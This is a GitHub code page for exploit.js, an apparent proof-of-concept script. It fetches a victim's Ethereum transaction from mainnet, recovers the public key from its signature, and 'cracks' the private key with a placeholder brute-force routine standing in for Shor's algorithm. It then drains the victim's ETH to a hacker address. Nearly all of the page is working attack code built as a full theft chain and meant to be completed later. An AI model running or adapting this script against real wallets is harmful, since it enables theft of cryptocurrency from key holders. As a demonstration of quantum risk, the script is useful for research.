-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.js
122 lines (99 loc) · 4.07 KB
/
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
require('dotenv').config()
const { Alchemy, Network } = require('alchemy-sdk')
const { ethers } = require('hardhat')
const alchemySettings = {
apiKey: process.env.ALCHEMY_API_KEY,
network: Network.ETH_MAINNET
}
const getPublicKeyFromTransaction = async (transactionInfo) => {
const {r, s, v} = transactionInfo
const tx = ethers.Transaction.from({
...transactionInfo,
nonce: transactionInfo.nonce,
gasPrice: transactionInfo.gasPrice.toBigInt(),
gasLimit: transactionInfo.gasLimit.toBigInt(),
to: transactionInfo.to,
value: transactionInfo.value.toBigInt(),
chainId: transactionInfo.chainId,
signature: {
r,
s,
v
}
})
const uncompressedPublicKey = tx.fromPublicKey
// manually remove uncompressed prefix "0x04"
const publicKey = '0x' + uncompressedPublicKey.slice(4, uncompressedPublicKey.len)
return publicKey
}
const fakeShorsAlgorithm = (publicKey) => {
// since today quantum computers are not ready
// we will just brute force for the sake of demo
// replace this function with the interface to run Shor's algorithms in the future to complete the full chain exploit
const EC = require('elliptic').ec
const ec = new EC('secp256k1')
if (publicKey.startsWith('0x')) {
publicKey = publicKey.slice(2)
}
const pubKey = ec.keyFromPublic({
x: publicKey.slice(0, 64),
y: publicKey.slice(64, 128)
}, 'hex').getPublic()
const generator = ec.curve.g
for (let privateKey = 1; privateKey <= 100; privateKey++) {
const derivedPubKey = generator.mul(privateKey)
if (derivedPubKey.eq(pubKey)) {
return '0x' + BigInt(privateKey).toString(16).padStart(64, '0') // Found the private key
}
}
// exit(-1)
}
async function main() {
const [victim, hacker] = await ethers.getSigners()
const victimAddress = victim.getAddress()
const hackerAddress = hacker.getAddress()
const alchemy = new Alchemy(alchemySettings)
console.log('1. get a transaction from the victim\'s transactions')
const transactions = await alchemy.core.getAssetTransfers({
fromBlock: '0x0',
toBlock: 'latest',
fromAddress: victimAddress,
category: ['external'],
maxCount: 10
})
const first_transaction = transactions.transfers[0]
const first_transaction_hash = first_transaction.hash
console.log('[+] found a victim\'s transaction hash', first_transaction_hash)
console.log('2. get the signature (r, s, v) from the selected transaction')
const first_transaction_info = await alchemy.core.getTransaction(first_transaction_hash)
const { r, s, v } = first_transaction_info
console.log('[+] signature found from the transaction')
console.log('[+] r:', BigInt(r, 16).toString())
console.log('[+] s:', BigInt(s, 16).toString())
console.log('[+] v:', v)
console.log('3. use Shor algorithm to find the private key from the given signature')
console.log('[*] recover victim\'s public key')
const victimPublicKey = await getPublicKeyFromTransaction(first_transaction_info)
console.log('[+] victim\'s public key:', victimPublicKey)
console.log('[*] recover victim\'s private key by using Shor\'s algorithm')
const victimPrivateKey = fakeShorsAlgorithm(victimPublicKey)
console.log('[+] victim\' private key:', victimPrivateKey)
console.log('4. Use the recovered victim\'s private key to sign a transcation sending all of the victim\'s ETH to us')
const recoveredWallet = new ethers.Wallet(victimPrivateKey, ethers.provider)
console.log('[+] before')
console.log(`[+] victim\'s balance: ${await ethers.provider.getBalance(victimAddress)}`)
console.log(`[+] hacker\'s balance: ${await ethers.provider.getBalance(hackerAddress)}`)
const tx = {
to: hackerAddress,
value: await ethers.provider.getBalance(recoveredWallet.address),
gasPrice: 0
}
await recoveredWallet.sendTransaction(tx)
console.log('[+] after')
console.log(`[+] victim\'s balance: ${await ethers.provider.getBalance(victimAddress)}`)
console.log(`[+] hacker\'s balance: ${await ethers.provider.getBalance(hackerAddress)}`)
}
main().catch((error) => {
console.error(error)
process.exitCode = 1
})